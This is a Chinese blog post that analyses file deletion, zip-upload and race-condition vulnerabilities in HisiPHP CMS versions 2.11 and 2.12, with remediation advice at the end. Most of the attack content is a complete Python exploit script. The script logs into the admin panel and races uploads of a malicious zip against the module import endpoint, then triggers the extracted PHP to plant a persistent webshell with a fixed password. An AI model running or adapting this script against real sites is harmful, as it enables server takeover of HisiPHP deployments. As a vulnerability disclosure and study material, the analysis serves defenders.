HisiPHP条件竞争分析复现

简介

之前的一段HisiPHP代码我提交过四个漏洞,怎么说呢,可能触发的位置不一样

  • 文件删除
  • 文件上传(解压上传)
  • 缓存shell(服务器异常)
  • 文件上传(竞争上传)

令我没想到的是,官方还真的修复了,其实这漏洞是后台的

但怎么说呢,着cms也只有后台啊

然后抽空又看了以下,基本修了,但是竞争上传还是可以搞一搞的

测试版本

  • 旧版本 V2.11
  • 新版本 V2.12

旧版本代码

首先看看旧版本

两个控制其中存在基本一致得代码,MoudlePlugins

文件删除

代码如下,接受一个file参数,如果这个参数的文件不是一个正常的压缩包,就是解压失败,会直接被删除,这就是任意文件删除的地方,这种情况两个控制器是一致得

1619145253156

下面还有一些删除的逻辑

文件上传

如果正常上传一个压缩包,其中的shell文件会直接传到服务器上的

这里不在多说,主要是构造合理得压缩包,或者官方下载一个模块,安装即可

缓存shell

这个是属于Plugins控制器得方法

为什么会存在缓存呢,是因为再解压完成后,由于,服务器得500错误,导致程序中断,虽然不是合规得压缩文件,但也留在了服务器上

重点就是下面这行代码

1619145485329

我们跟进一下,这个方法,可以看到直接扫描目录,但是并没有判断这个目录是否存在,当目录不存在时,就会存在500异常

1619145582287

条件竞争

还是要回到,Module控制器,因为这里判断时是否存在目录,所以程序会继续执行删除功能

1619145782531

这可以看的出来接受一个上传的文件,如果这个文件名字可以获取到

是一个正常的压缩包,解压成功,但是当安装包不完整的时候,就存在了一个竞争关系,先解压,后删除

那文件名到底可不可以获取到呢,从这个逻辑来说肯定是的

猜测应该是将文件上传之后,把返回的文件名存在了一个表单里面

再点击导入,就会携带file参数

事实也确实入此

所以之前为了交漏洞,还附带了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
from bs4 import BeautifulSoup
from requests_toolbelt import MultipartEncoder
import threading
import requests
import json
import hashlib
import datetime
import time

address = "http://192.168.31.106:8084"
username = "admin"
password = "admin123"
session = requests.session()


# 程序结束
def endtime():
print(" ")
time.sleep(0.3)
print("*] shutting down at %s" % datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S'))


# 用户登录
def admin_login():
url = address + "/admin.php/system/publics/index.html"
rsp = session.get(url)
if rsp.status_code == 200:
soup = BeautifulSoup(rsp.text, "html.parser")
token = soup.find("input", {'name': '__token__'}).get("value")
md5_ = hashlib.md5()
md5_.update(password.encode("utf-8"))
pwd = md5_.hexdigest()
data = {
"username": username,
"password": pwd,
"__token__": token
}
headers = {
"Origin": address,
"X-Requested-With": "XMLHttpRequest",
"Content-Type": "application/x-www-form-urlencoded"
}
rsp1 = session.post(url, headers=headers, data=data)
if rsp1.status_code == 200 and "登陆成功,页面跳转中" in str(rsp1.text):
pass
else:
print("[-] Failed!请检查密码或重启浏览器!")
else:
print("[-] 目标网站无法访问!")


# 获取全局变量
def get_file():
global file_dir
global file_name
url = address + "/admin.php/system/annex/upload/thumb/no/water/no/group/temp/driver/local.html"
m = MultipartEncoder(fields={'filename': 'shengma.zip',
'file': ('shengma.zip',
open('shengma.zip', 'rb'),
'application/x-zip-compressed')
})
headers = {
"Content-Type": m.content_type
}
rsp = session.post(url, headers=headers, data=m)
if rsp.status_code == 200 and "文件上传成功" in str(rsp.text):
text = rsp.text
if text.startswith(u'\ufeff'):
text = text.encode('utf8')[3:].decode('utf8')
json_str = json.loads(text)
file_name = json_str['data']['file']
num = file_name.find(".")
file_dir = file_name[:num]
else:
pass
else:
print("[-] 文件上传失败!")


# 上传文件
def upload_file():
global file_dir
global file_name
while True:
url = address + "/admin.php/system/annex/upload/thumb/no/water/no/group/temp/driver/local.html"
m = MultipartEncoder(fields={'filename': 'shengma.zip',
'file': ('shengma.zip',
open('shengma.zip', 'rb'),
'application/x-zip-compressed')
})
headers = {
"Content-Type": m.content_type
}
rsp = session.post(url, headers=headers, data=m)
if rsp.status_code == 200 and "文件上传成功" in str(rsp.text):
text = rsp.text
if text.startswith(u'\ufeff'):
text = text.encode('utf8')[3:].decode('utf8')
json_str = json.loads(text)
file_name = json_str['data']['file']
num = file_name.find(".")
file_dir = file_name[:num]
continue
else:
continue
continue
else:
print("[-] 文件上传失败!")
continue


# 解压文件
def unzip_file():
global file_dir
global file_name
unzip_url = address + "/admin.php/system/module/import.html"
data = {
"file": file_name
}
while True:
rsp = session.post(unzip_url, data=data)
if rsp.status_code == 200 and "安装包不完整" in str(rsp.text):
continue
else:
print("[-] 解压失败!")
continue


# 生成shell文件
def lfi_file():
global file_dir
global file_name
lfi_url = address + "/" + file_dir + "/shengma.php"
while True:
rsp = session.get(lfi_url)
if rsp.status_code == 200:
shell_url = address + "/upload/temp/shell.php"
rsp1 = session.get(shell_url)
if rsp1.status_code == 200:
print("[+] 成功获取shell!")
print("[+] shell地址为:" + shell_url)
print("[+] 密码为:a")
break
else:
continue
else:
continue


if __name__ == "__main__":
admin_login()
get_file()
t1 = threading.Thread(target=upload_file, args=())
t2 = threading.Thread(target=unzip_file, args=())
t1.setDaemon(True)
t2.setDaemon(True)
t1.start()
t2.start()
print("[*] 疯狂竞争中,请稍后...")
lfi_file()
endtime()

当然这个时候,竞争用的马,肯定是访问之后生成一个稳定得shell才行

新版本代码

看一下新版本得修复

其实上面的三种方式依然可以用

比如

缓存shell

从下面的代码可以看到,从获取一个文件名,现在时直接在这个方法中上传

1619146111173

但是下面的getList并未改变

跟下底层代码,也依然未判断目录是否存在

1619146151656

条件竞争

还是看看Module控制器

代码出了是变成了在import方法上传外没啥太大变化

就是不能从前端的html中获取参数了而已

但是这种写法依然存在问题

1619146359853

可以看到他的move方法,并未传第二个参数,也就是说是ThinkPHP框架自动生成的文件名

那生成规则是什么呢?就是rule方法的参数,文件的MD5

当我们一致传一个文件时,这个文件的MD5时固定的所以依然可被预测

导致竞争漏洞依然存在

修复

条件竞争

  • 可以采用时间戳加随机数的组合作为自定义的文件名

缓存shell

  • getList前,先进行目录是否存在的判断

文件上传

  • 解压后,对解压获取到的代码进行匹配过滤,在进行下一步操作(当然这种只要还存在上传,就是可能被绕过)